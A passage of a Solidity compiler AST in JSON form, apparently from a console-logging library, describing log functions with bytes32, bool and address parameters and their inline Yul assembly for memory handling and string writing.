33:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46032,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"379242:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":46033,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"379248:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":46031,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"379226:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"379226:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46035,"nodeType":"ExpressionStatement","src":"379226:28:22"},{"AST":{"nativeSrc":"379273:273:22","nodeType":"YulBlock","src":"379273:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"379294:4:22","nodeType":"YulLiteral","src":"379294:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"379300:2:22","nodeType":"YulIdentifier","src":"379300:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379287:6:22","nodeType":"YulIdentifier","src":"379287:6:22"},"nativeSrc":"379287:16:22","nodeType":"YulFunctionCall","src":"379287:16:22"},"nativeSrc":"379287:16:22","nodeType":"YulExpressionStatement","src":"379287:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379323:4:22","nodeType":"YulLiteral","src":"379323:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"379329:2:22","nodeType":"YulIdentifier","src":"379329:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379316:6:22","nodeType":"YulIdentifier","src":"379316:6:22"},"nativeSrc":"379316:16:22","nodeType":"YulFunctionCall","src":"379316:16:22"},"nativeSrc":"379316:16:22","nodeType":"YulExpressionStatement","src":"379316:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379352:4:22","nodeType":"YulLiteral","src":"379352:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"379358:2:22","nodeType":"YulIdentifier","src":"379358:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379345:6:22","nodeType":"YulIdentifier","src":"379345:6:22"},"nativeSrc":"379345:16:22","nodeType":"YulFunctionCall","src":"379345:16:22"},"nativeSrc":"379345:16:22","nodeType":"YulExpressionStatement","src":"379345:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379381:4:22","nodeType":"YulLiteral","src":"379381:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"379387:2:22","nodeType":"YulIdentifier","src":"379387:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379374:6:22","nodeType":"YulIdentifier","src":"379374:6:22"},"nativeSrc":"379374:16:22","nodeType":"YulFunctionCall","src":"379374:16:22"},"nativeSrc":"379374:16:22","nodeType":"YulExpressionStatement","src":"379374:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379410:4:22","nodeType":"YulLiteral","src":"379410:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"379416:2:22","nodeType":"YulIdentifier","src":"379416:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379403:6:22","nodeType":"YulIdentifier","src":"379403:6:22"},"nativeSrc":"379403:16:22","nodeType":"YulFunctionCall","src":"379403:16:22"},"nativeSrc":"379403:16:22","nodeType":"YulExpressionStatement","src":"379403:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379439:4:22","nodeType":"YulLiteral","src":"379439:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"379445:2:22","nodeType":"YulIdentifier","src":"379445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379432:6:22","nodeType":"YulIdentifier","src":"379432:6:22"},"nativeSrc":"379432:16:22","nodeType":"YulFunctionCall","src":"379432:16:22"},"nativeSrc":"379432:16:22","nodeType":"YulExpressionStatement","src":"379432:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379468:4:22","nodeType":"YulLiteral","src":"379468:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"379474:2:22","nodeType":"YulIdentifier","src":"379474:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379461:6:22","nodeType":"YulIdentifier","src":"379461:6:22"},"nativeSrc":"379461:16:22","nodeType":"YulFunctionCall","src":"379461:16:22"},"nativeSrc":"379461:16:22","nodeType":"YulExpressionStatement","src":"379461:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379497:4:22","nodeType":"YulLiteral","src":"379497:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"379503:2:22","nodeType":"YulIdentifier","src":"379503:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379490:6:22","nodeType":"YulIdentifier","src":"379490:6:22"},"nativeSrc":"379490:16:22","nodeType":"YulFunctionCall","src":"379490:16:22"},"nativeSrc":"379490:16:22","nodeType":"YulExpressionStatement","src":"379490:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379526:5:22","nodeType":"YulLiteral","src":"379526:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"379533:2:22","nodeType":"YulIdentifier","src":"379533:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379519:6:22","nodeType":"YulIdentifier","src":"379519:6:22"},"nativeSrc":"379519:17:22","nodeType":"YulFunctionCall","src":"379519:17:22"},"nativeSrc":"379519:17:22","nodeType":"YulExpressionStatement","src":"379519:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46004,"isOffset":false,"isSlot":false,"src":"379300:2:22","valueSize":1},{"declaration":46007,"isOffset":false,"isSlot":false,"src":"379329:2:22","valueSize":1},{"declaration":46010,"isOffset":false,"isSlot":false,"src":"379358:2:22","valueSize":1},{"declaration":46013,"isOffset":false,"isSlot":false,"src":"379387:2:22","valueSize":1},{"declaration":46016,"isOffset":false,"isSlot":false,"src":"379416:2:22","valueSize":1},{"declaration":46019,"isOffset":false,"isSlot":false,"src":"379445:2:22","valueSize":1},{"declaration":46022,"isOffset":false,"isSlot":false,"src":"379474:2:22","valueSize":1},{"declaration":46025,"isOffset":false,"isSlot":false,"src":"379503:2:22","valueSize":1},{"declaration":46028,"isOffset":false,"isSlot":false,"src":"379533:2:22","valueSize":1}],"id":46036,"nodeType":"InlineAssembly","src":"379264:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"378031:3:22","parameters":{"id":46001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45994,"mutability":"mutable","name":"p0","nameLocation":"378043:2:22","nodeType":"VariableDeclaration","scope":46038,"src":"378035:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45993,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378035:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45996,"mutability":"mutable","name":"p1","nameLocation":"378055:2:22","nodeType":"VariableDeclaration","scope":46038,"src":"378047:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45995,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378047:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45998,"mutability":"mutable","name":"p2","nameLocation":"378064:2:22","nodeType":"VariableDeclaration","scope":46038,"src":"378059:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45997,"name":"bool","nodeType":"ElementaryTypeName","src":"378059:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":46000,"mutability":"mutable","name":"p3","nameLocation":"378076:2:22","nodeType":"VariableDeclaration","scope":46038,"src":"378068:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45999,"name":"address","nodeType":"ElementaryTypeName","src":"378068:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"378034:45:22"},"returnParameters":{"id":46002,"nodeType":"ParameterList","parameters":[],"src":"378094:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46084,"nodeType":"FunctionDefinition","src":"379558:1524:22","nodes":[],"body":{"id":46083,"nodeType":"Block","src":"379627:1455:22","nodes":[],"statements":[{"assignments":[46050],"declarations":[{"constant":false,"id":46050,"mutability":"mutable","name":"m0","nameLocation":"379645:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379637:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46049,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379637:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46051,"nodeType":"VariableDeclarationStatement","src":"379637:10:22"},{"assignments":[46053],"declarations":[{"constant":false,"id":46053,"mutability":"mutable","name":"m1","nameLocation":"379665:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379657:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46052,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379657:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46054,"nodeType":"VariableDeclarationStatement","src":"379657:10:22"},{"assignments":[46056],"declarations":[{"constant":false,"id":46056,"mutability":"mutable","name":"m2","nameLocation":"379685:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379677:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46055,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379677:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46057,"nodeType":"VariableDeclarationStatement","src":"379677:10:22"},{"assignments":[46059],"declarations":[{"constant":false,"id":46059,"mutability":"mutable","name":"m3","nameLocation":"379705:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379697:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46058,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379697:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46060,"nodeType":"VariableDeclarationStatement","src":"379697:10:22"},{"assignments":[46062],"declarations":[{"constant":false,"id":46062,"mutability":"mutable","name":"m4","nameLocation":"379725:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379717:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46061,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379717:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46063,"nodeType":"VariableDeclarationStatement","src":"379717:10:22"},{"assignments":[46065],"declarations":[{"constant":false,"id":46065,"mutability":"mutable","name":"m5","nameLocation":"379745:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379737:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46064,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379737:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46066,"nodeType":"VariableDeclarationStatement","src":"379737:10:22"},{"assignments":[46068],"declarations":[{"constant":false,"id":46068,"mutability":"mutable","name":"m6","nameLocation":"379765:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379757:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46067,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379757:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46069,"nodeType":"VariableDeclarationStatement","src":"379757:10:22"},{"assignments":[46071],"declarations":[{"constant":false,"id":46071,"mutability":"mutable","name":"m7","nameLocation":"379785:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379777:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46070,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379777:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46072,"nodeType":"VariableDeclarationStatement","src":"379777:10:22"},{"assignments":[46074],"declarations":[{"constant":false,"id":46074,"mutability":"mutable","name":"m8","nameLocation":"379805:2:22","nodeType":"VariableDeclaration","scope":46083,"src":"379797:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46073,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379797:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46075,"nodeType":"VariableDeclarationStatement","src":"379797:10:22"},{"AST":{"nativeSrc":"379826:921:22","nodeType":"YulBlock","src":"379826:921:22","statements":[{"body":{"nativeSrc":"379869:313:22","nodeType":"YulBlock","src":"379869:313:22","statements":[{"nativeSrc":"379887:15:22","nodeType":"YulVariableDeclaration","src":"379887:15:22","value":{"kind":"number","nativeSrc":"379901:1:22","nodeType":"YulLiteral","src":"379901:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"379891:6:22","nodeType":"YulTypedName","src":"379891:6:22","type":""}]},{"body":{"nativeSrc":"379972:40:22","nodeType":"YulBlock","src":"379972:40:22","statements":[{"body":{"nativeSrc":"380001:9:22","nodeType":"YulBlock","src":"380001:9:22","statements":[{"nativeSrc":"380003:5:22","nodeType":"YulBreak","src":"380003:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"379989:6:22","nodeType":"YulIdentifier","src":"379989:6:22"},{"name":"w","nativeSrc":"379997:1:22","nodeType":"YulIdentifier","src":"379997:1:22"}],"functionName":{"name":"byte","nativeSrc":"379984:4:22","nodeType":"YulIdentifier","src":"379984:4:22"},"nativeSrc":"379984:15:22","nodeType":"YulFunctionCall","src":"379984:15:22"}],"functionName":{"name":"iszero","nativeSrc":"379977:6:22","nodeType":"YulIdentifier","src":"379977:6:22"},"nativeSrc":"379977:23:22","nodeType":"YulFunctionCall","src":"379977:23:22"},"nativeSrc":"379974:36:22","nodeType":"YulIf","src":"379974:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"379929:6:22","nodeType":"YulIdentifier","src":"379929:6:22"},{"kind":"number","nativeSrc":"379937:4:22","nodeType":"YulLiteral","src":"379937:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"379926:2:22","nodeType":"YulIdentifier","src":"379926:2:22"},"nativeSrc":"379926:16:22","nodeType":"YulFunctionCall","src":"379926:16:22"},"nativeSrc":"379919:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"379943:28:22","nodeType":"YulBlock","src":"379943:28:22","statements":[{"nativeSrc":"379945:24:22","nodeType":"YulAssignment","src":"379945:24:22","value":{"arguments":[{"name":"length","nativeSrc":"379959:6:22","nodeType":"YulIdentifier","src":"379959:6:22"},{"kind":"number","nativeSrc":"379967:1:22","nodeType":"YulLiteral","src":"379967:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"379955:3:22","nodeType":"YulIdentifier","src":"379955:3:22"},"nativeSrc":"379955:14:22","nodeType":"YulFunctionCall","src":"379955:14:22"},"variableNames":[{"name":"length","nativeSrc":"379945:6:22","nodeType":"YulIdentifier","src":"379945:6:22"}]}]},"pre":{"nativeSrc":"379923:2:22","nodeType":"YulBlock","src":"379923:2:22","statements":[]},"src":"379919:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"380036:3:22","nodeType":"YulIdentifier","src":"380036:3:22"},{"name":"length","nativeSrc":"380041:6:22","nodeType":"YulIdentifier","src":"380041:6:22"}],"functionName":{"name":"mstore","nativeSrc":"380029:6:22","nodeType":"YulIdentifier","src":"380029:6:22"},"nativeSrc":"380029:19:22","nodeType":"YulFunctionCall","src":"380029:19:22"},"nativeSrc":"380029:19:22","nodeType":"YulExpressionStatement","src":"380029:19:22"},{"nativeSrc":"380065:37:22","nodeType":"YulVariableDeclaration","src":"380065:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"380082:3:22","nodeType":"YulLiteral","src":"380082:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"380091:1:22","nodeType":"YulLiteral","src":"380091:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"380094:6:22","nodeType":"YulIdentifier","src":"380094:6:22"}],"functionName":{"name":"shl","nativeSrc":"380087:3:22","nodeType":"YulIdentifier","src":"380087:3:22"},"nativeSrc":"380087:14:22","nodeType":"YulFunctionCall","src":"380087:14:22"}],"functionName":{"name":"sub","nativeSrc":"380078:3:22","nodeType":"YulIdentifier","src":"380078:3:22"},"nativeSrc":"380078:24:22","nodeType":"YulFunctionCall","src":"380078:24:22"},"variables":[{"name":"shift","nativeSrc":"380069:5:22","nodeType":"YulTypedName","src":"380069:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"380130:3:22","nodeType":"YulIdentifier","src":"380130:3:22"},{"kind":"number","nativeSrc":"380135:4:22","nodeType":"YulLiteral","src":"380135:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"380126:3:22","nodeType":"YulIdentifier","src":"380126:3:22"},"nativeSrc":"380126:14:22","nodeType":"YulFunctionCall","src":"380126:14:22"},{"arguments":[{"name":"shift","nativeSrc":"380146:5:22","nodeType":"YulIdentifier","src":"380146:5:22"},{"arguments":[{"name":"shift","nativeSrc":"380157:5:22","nodeType":"YulIdentifier","src":"380157:5:22"},{"name":"w","nativeSrc":"380164:1:22","nodeType":"YulIdentifier","src":"380164:1:22"}],"functionName":{"name":"shr","nativeSrc":"380153:3:22","nodeType":"YulIdentifier","src":"380153:3:22"},"nativeSrc":"380153:13:22","nodeType":"YulFunctionCall","src":"380153:13:22"}],"functionName":{"name":"shl","nativeSrc":"380142:3:22","nodeType":"YulIdentifier","src":"380142:3:22"},"nativeSrc":"380142:25:22","nodeType":"YulFunctionCall","src":"380142:25:22"}],"functionName":{"name":"mstore","nativeSrc":"380119:6:22","nodeType":"YulIdentifier","src":"380119:6:22"},"nativeSrc":"380119:49:22","nodeType":"YulFunctionCall","src":"380119:49:22"},"nativeSrc":"380119:49:22","nodeType":"YulExpressionStatement","src":"380119:49:22"}]},"name":"writeString","nativeSrc":"379840:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"379861:3:22","nodeType":"YulTypedName","src":"379861:3:22","type":""},{"name":"w","nativeSrc":"379866:1:22","nodeType":"YulTypedName","src":"379866:1:22","type":""}],"src":"379840:342:22"},{"nativeSrc":"380195:17:22","nodeType":"YulAssignment","src":"380195:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380207:4:22","nodeType":"YulLiteral","src":"380207:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"380201:5:22","nodeType":"YulIdentifier","src":"380201:5:22"},"nativeSrc":"380201:11:22","nodeType":"YulFunctionCall","src":"380201:11:22"},"variableNames":[{"name":"m0","nativeSrc":"380195:2:22","nodeType":"YulIdentifier","src":"380195:2:22"}]},{"nativeSrc":"380225:17:22","nodeType":"YulAssignment","src":"380225:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380237:4:22","nodeType":"YulLiteral","src":"380237:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"380231:5:22","nodeType":"YulIdentifier","src":"380231:5:22"},"nativeSrc":"380231:11:22","nodeType":"YulFunctionCall","src":"380231:11:22"},"variableNames":[{"name":"m1","nativeSrc":"380225:2:22","nodeType":"YulIdentifier","src":"380225:2:22"}]},{"nativeSrc":"380255:17:22","nodeType":"YulAssignment","src":"380255:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380267:4:22","nodeType":"YulLiteral","src":"380267:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"380261:5:22","nodeType":"YulIdentifier","src":"380261:5:22"},"nativeSrc":"380261:11:22","nodeType":"YulFunctionCall","src":"380261:11:22"},"variableNames":[{"name":"m2","nativeSrc":"380255:2:22","nodeType":"YulIdentifier","src":"380255:2:22"}]},{"nativeSrc":"380285:17:22","nodeType":"YulAssignment","src":"380285:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380297:4:22","nodeType":"YulLiteral","src":"380297:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"380291:5:22","nodeType":"YulIdentifier","src":"380291:5:22"},"nativeSrc":"380291:11:22","nodeType":"YulFunctionCall","src":"380291:11:22"},"variableNames":[{"name":"m3","nativeSrc":"380285:2:22","nodeType":"YulIdentifier","src":"380285:2:22"}]},{"nativeSrc":"380315:17:22","nodeType":"YulAssignment","src":"380315:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380327:4:22","nodeType":"YulLiteral","src":"380327:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"380321:5:22","nodeType":"YulIdentifier","src":"380321:5:22"},"nativeSrc":"380321:11:22","nodeType":"YulFunctionCall","src":"380321:11:22"},"variableNames":[{"name":"m4","nativeSrc":"380315:2:22","nodeType":"YulIdentifier","src":"380315:2:22"}]},{"nativeSrc":"380345:17:22","nodeType":"YulAssignment","src":"380345:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380357:4:22","nodeType":"YulLiteral","src":"380357:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"380351:5:22","nodeType":"YulIdentifier","src":"380351:5:22"},"nativeSrc":"380351:11:22","nodeType":"YulFunctionCall","src":"380351:11:22"},"variableNames":[{"name":"m5","nativeSrc":"380345:2:22","nodeType":"YulIdentifier","src":"380345:2:22"}]},{"nativeSrc":"380375:17:22","nodeType":"YulAssignment","src":"380375:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380387:4:22","nodeType":"YulLiteral","src":"380387:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"380381:5:22","nodeType":"YulIdentifier","src":"380381:5:22"},"nativeSrc":"380381:11:22","nodeType":"YulFunctionCall","src":"380381:11:22"},"variableNames":[{"name":"m6","nativeSrc":"380375:2:22","nodeType":"YulIdentifier","src":"380375:2:22"}]},{"nativeSrc":"380405:17:22","nodeType":"YulAssignment","src":"380405:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"380417:4:22","nodeType":"YulLiteral","src":"380417:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"380411:5:22","nodeType":"YulIdentifier","src":"380411:5:22"},"nativeSrc":"380411:11:22","nodeType":"YulFunctionCall","src":"380411:11:22"},"variableNames":[{"name":"m7","nativeSrc":"380405:2:22","nodeType":"YulIdentifier","src":"380405:2:22"}]},{"nativeSrc":"380435:18:22","nodeType":"YulAssignment","src":"380435:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"380447:5:22","nodeType":"YulLiteral","src":"380447:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"380441:5:22","nodeType":"YulIdentifier","src":"380441:5:22"},"nativeSrc":"380441:12:22","nodeType":"YulFunctionCall","src":"380441:12:22"},"variableNames":[{"name":"m8","nativeSrc":"380435:2:22","nodeType":"YulIdentifier","src":"380435:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380532:4:22","nodeType":"YulLiteral","src":"380532:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"380538:10:22","nodeType":"YulLiteral","src":"380538:10:22","type":"","value":"0x40785869"}],"functionName":{"name":"mstore","nativeSrc":"380525:6:22","nodeType":"YulIdentifier","src":"380525:6:22"},"nativeSrc":"380525:24:22","nodeType":"YulFunctionCall","src":"380525:24:22"},"nativeSrc":"380525:24:22","nodeType":"YulExpressionStatement","src":"380525:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380569:4:22","nodeType":"YulLiteral","src":"380569:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"380575:4:22","nodeType":"YulLiteral","src":"380575:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"380562:6:22","nodeType":"YulIdentifier","src":"380562:6:22"},"nativeSrc":"380562:18:22","nodeType":"YulFunctionCall","src":"380562:18:22"},"nativeSrc":"380562:18:22","nodeType":"YulExpressionStatement","src":"380562:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380600:4:22","nodeType":"YulLiteral","src":"380600:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"380606:4:22","nodeType":"YulLiteral","src":"380606:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"380593:6:22","nodeType":"YulIdentifier","src":"380593:6:22"},"nativeSrc":"380593:18:22","nodeType":"YulFunctionCall","src":"380593:18:22"},"nativeSrc":"380593:18:22","nodeType":"YulExpressionStatement","src":"380593:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380631:4:22","nodeType":"YulLiteral","src":"380631:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"380637:2:22","nodeType":"YulIdentifier","src":"380637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380624:6:22","nodeType":"YulIdentifier","src":"380624:6:22"},"nativeSrc":"380624:16:22","nodeType":"YulFunctionCall","src":"380624:16:22"},"nativeSrc":"380624:16:22","nodeType":"YulExpressionStatement","src":"380624:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380660:4:22","nodeType":"YulLiteral","src":"380660:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"380666:2:22","nodeType":"YulIdentifier","src":"380666:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380653:6:22","nodeType":"YulIdentifier","src":"380653:6:22"},"nativeSrc":"380653:16:22","nodeType":"YulFunctionCall","src":"380653:16:22"},"nativeSrc":"380653:16:22","nodeType":"YulExpressionStatement","src":"380653:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380694:4:22","nodeType":"YulLiteral","src":"380694:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"380700:2:22","nodeType":"YulIdentifier","src":"380700:2:22"}],"functionName":{"name":"writeString","nativeSrc":"380682:11:22","nodeType":"YulIdentifier","src":"380682:11:22"},"nativeSrc":"380682:21:22","nodeType":"YulFunctionCall","src":"380682:21:22"},"nativeSrc":"380682:21:22","nodeType":"YulExpressionStatement","src":"380682:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380728:4:22","nodeType":"YulLiteral","src":"380728:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"380734:2:22","nodeType":"YulIdentifier","src":"380734:2:22"}],"functionName":{"name":"writeString","nativeSrc":"380716:11:22","nodeType":"YulIdentifier","src":"380716:11:22"},"nativeSrc":"380716:21:22","nodeType":"YulFunctionCall","src":"380716:21:22"},"nativeSrc":"380716:21:22","nodeType":"YulExpressionStatement","src":"380716:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46050,"isOffset":false,"isSlot":false,"src":"380195:2:22","valueSize":1},{"declaration":46053,"isOffset":false,"isSlot":false,"src":"380225:2:22","valueSize":1},{"declaration":46056,"isOffset":false,"isSlot":false,"src":"380255:2:22","valueSize":1},{"declaration":46059,"isOffset":false,"isSlot":false,"src":"380285:2:22","valueSize":1},{"declaration":46062,"isOffset":false,"isSlot":false,"src":"380315:2:22","valueSize":1},{"declaration":46065,"isOffset":false,"isSlot":false,"src":"380345:2:22","valueSize":1},{"declaration":46068,"isOffset":false,"isSlot":false,"src":"380375:2:22","valueSize":1},{"declaration":46071,"isOffset":false,"isSlot":false,"src":"380405:2:22","valueSize":1},{"declaration":46074,"isOffset":false,"isSlot":false,"src":"380435:2:22","valueSize":1},{"declaration":46040,"isOffset":false,"isSlot":false,"src":"380700:2:22","valueSize":1},{"declaration":46042,"isOffset":false,"isSlot":false,"src":"380734:2:22","valueSize":1},{"declaration":46044,"isOffset":false,"isSlot":false,"src":"380637:2:22","valueSize":1},{"declaration":46046,"isOffset":false,"isSlot":false,"src":"380666:2:22","valueSize":1}],"id":46076,"nodeType":"InlineAssembly","src":"379817:930:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46078,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"380772:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","